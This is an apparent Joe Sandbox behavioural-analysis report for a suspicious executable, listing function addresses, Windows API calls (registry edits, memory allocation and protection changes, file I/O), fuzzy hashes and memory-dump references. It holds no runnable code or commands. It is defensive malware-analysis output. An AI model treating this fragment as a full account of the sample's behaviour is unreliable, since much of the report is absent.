Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 44d570d4ef42a6af9798bac81a48d6e43403590213f26621d83d999ce1ed40c7
Instruction ID: efb744b1bbbaa1f1e58e2693dd3ff93cd36a27706c6aad24c330354b17a2434d
Opcode Fuzzy Hash: 44d570d4ef42a6af9798bac81a48d6e43403590213f26621d83d999ce1ed40c7
Instruction Fuzzy Hash: 6F21C531900218EBCF20AFA5CE4CA9E7A70AF04354F60413BF610B61E1DBBD4991DA6E

Function 004024F2 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402525
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 00402538
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsnB635.tmp,00000000,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 297b237e24fbbf63aa7ca08728d7b3950c3333922afcc1c5b6d3d1192ed08725
Instruction ID: 4fa2f3c06f6248971957712acf2942ced6ba336c37b2851dfbda8b2cd28c17b0
Opcode Fuzzy Hash: 297b237e24fbbf63aa7ca08728d7b3950c3333922afcc1c5b6d3d1192ed08725
Instruction Fuzzy Hash: 6D017171904104EFE7159FA5DE89ABFB6B8EF44348F10403EF105A62D0DAB84E459B69

Function 1000289C Relevance: 3.2, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(00000000), ref: 1000295B
GetLastError.KERNEL32 ref: 10002A62

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction ID: 6dfa44c8e371a7ac1a486a55eff0af4ad814c9ea0d06d7514663fdd8c294557a
Opcode Fuzzy Hash: 34874d5dbfeecf70d049f007544d8fe97316615c6b6b2225bbceacac8e3d04ae
Instruction Fuzzy Hash: 4E51B4B9905211DFFB20DFA4DCC675937A8EB443D4F22C42AEA04E726DCE34A990CB55

Function 004031BA Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403166,000000FF,00000000,00000000,0040A230,?), ref: 004031DF

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: af526002166308cc95fa76d49654f36d838bd7a13899b6376ccfe278c881acad
Instruction ID: 4c6ae7a0626839fce45d877b24888c0af913333af22313e68c4d1644c71cb298
Opcode Fuzzy Hash: af526002166308cc95fa76d49654f36d838bd7a13899b6376ccfe278c881acad
Instruction Fuzzy Hash: 3B319C3020021AFFDB109F95ED84ADB3F68EB04359B1085BEF904E6190D778CE509BA9

Function 0040247E Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024AF
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsnB635.tmp,00000000,00000011,00000002), ref: 00402551

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: a3b88ef37a04c447d509aafcd647c8bb55f7a85eb83bcf9e8b78a58130226466
Instruction ID: 2d27e3624369fee7c217219a4e344138e42523264533ea489648bddc6477d6d2
Opcode Fuzzy Hash: a3b88ef37a04c447d509aafcd647c8bb55f7a85eb83bcf9e8b78a58130226466
Instruction Fuzzy Hash: 53119171900209EBEB24DFA4CA585AEB6B4EF04344F20843FE046A62C0D7B84A45DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 00402388 Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023AA
RegCloseKey.ADVAPI32(00000000), ref: 004023B3

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 3500e27f67e3657d3f13e648c5a4e4955d4a6b8459d35a1d73aadda57e6becb1
Instruction ID: eeebe11236d86b478005370e27fb04b66889edd8f93d7ff1d49de92df4b57ee5
Opcode Fuzzy Hash: 3500e27f67e3657d3f13e648c5a4e4955d4a6b8459d35a1d73aadda57e6becb1
Instruction Fuzzy Hash: 58F09632A04114DBE711BBA49B4EABEB2A59B44354F16053FFA02F71C1DEFC4D41866D

Function 00401E43 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E61
EnableWindow.USER32(00000000,00000000), ref: 00401E6C

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 611feb8e2eb8574bcf65ce6e82aff3c902186df27cfe016bcc5f4eefe149f0e3
Instruction ID: 353457a250eeab47012712e359045a90ae935b3a48e85cb5936bf3a8ff6902a1
Opcode Fuzzy Hash: 611feb8e2eb8574bcf65ce6e82aff3c902186df27cfe016bcc5f4eefe149f0e3
Instruction Fuzzy Hash: 40E09232E08200CFD724DBA5AA4946D77B0EB84354720407FE112F11D1DA784881CF6D

Function 0040678A Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,004034FB,0000000A), ref: 0040679C
GetProcAddress.KERNEL32(00000000,?), ref: 004067B7

Part of subcall function 0040671A: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406731
Part of subcall function 0040671A: wsprintfW.USER32 ref: 0040676C
Part of subcall function 0040671A: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406780

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 1fd694bbbc018e5f81eae6ff46d5e7dd0c39e86c0a2cf65890550c3579ed631a
Instruction ID: 6fedc38abd16d04710e8a636fd16f84820eabe090bba127bd882252d3fb3e83b
Opcode Fuzzy Hash: 1fd694bbbc018e5f81eae6ff46d5e7dd0c39e86c0a2cf65890550c3579ed631a
Instruction Fuzzy Hash: 21E0863250421156D21096745E4893772AC9AC4718307843EF956F3041DB389C35A76D

Function 00405EA2 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402F57,C:\Users\user\Desktop\Ub46mg9pn4.exe,80000000,00000003), ref: 00405EA6
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405EC8

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction ID: 5201df1ff3c0a0bd0294a98706b79309786c42e99614e685d4e3591f63f4d9e2
Opcode Fuzzy Hash: 133c91a1dbaf88dbfd801214b1c0a7aa23d67a900b7421546c440c33baf3910c
Instruction Fuzzy Hash: D5D09E31254601AFEF098F20DE16F2E7AA2EB84B04F11552CB7C2940E0DA7158199B15

Function 00405960 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,0040347C,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 00405966
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405974

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction ID: a0b70af09676f49ae35af12b400ff138e6ea5c47fed9fef2c083bef2843b0e9d
Opcode Fuzzy Hash: 2a128b8619e21daab1f352946d406dfe7ea7319ba132ee6f2f415100985951e7
Instruction Fuzzy Hash: 97C04C71255506DADB105F31DE08F1B7A50AB60751F11843AA18AE51B0DA348455DD2D

Function 004027E9 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 00402807

Part of subcall function 004062F7: wsprintfW.USER32 ref: 00406304

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: df39207a0041021f90c9c5904dee6126a22bdfdf8dd6c18872903947b59110e0
Instruction ID: 55fb61e46e544c01c8f838511187bb9fe83791c0a23b57862087ec8cac53259a
Opcode Fuzzy Hash: df39207a0041021f90c9c5904dee6126a22bdfdf8dd6c18872903947b59110e0
Instruction Fuzzy Hash: EDE09271A00104AFDB11EBA5AF499AE7779DB80304B14407FF501F11D2CB790D52DE2E

Function 00402306 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040233D

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
Instruction ID: f718b570c03cd879152723008abd35f840e0595a9afadee28286a7759bd10add
Opcode Fuzzy Hash: 611604a497d22fd9b22a7666efc1e18301a5eb9844a24c96cea5756000cc0278
Instruction Fuzzy Hash: A1E086719042686EE7303AF10F8EDBF50989B44348B55093FBA01B61C2D9FC0D46826D

Function 0040624B Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402CE8,00000000,?,?), ref: 00406274

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction ID: 479e159ceda2cb7b50184963f42fe168e38793edbf0b306f3e9e40cefa011f94
Opcode Fuzzy Hash: e8292e86e66d8bfc399a73dea3ede4946860b06fd3b50e0b30bb299c90100862
Instruction Fuzzy Hash: F5E0E672010109BEEF195F50DD0AD7B371DE704314F01452EFA07E4051E6B5A9305734

Function 00405F54 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,0040F08E,0040CED0,004033C2,0040CED0,0040F08E,00414ED0,00004000,?,00000000,004031EC,00000004), ref: 00405F68

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 6078229a914e39b74a0c5ece066be2a5834b756046c3aff4b734283800ecbe33
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 2DE0EC3221065EABDF109EA59C00EEB7B6CFB053A0F004437FD25E3150D775E9219BA8

Function 00405F25 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00414ED0,0040CED0,0040343E,0040A230,0040A230,00403342,00414ED0,00004000,?,00000000,004031EC), ref: 00405F39

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 9b2ea83f702eb3fffeb4c264c614e4c5cb206e28bf88f3110778221d7db1fef5
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: D7E08C3220021AEBCF109F508C00EEB3B6CEB04360F004472F925E2180E234E8219FA8

Function 100027C2 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E0

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
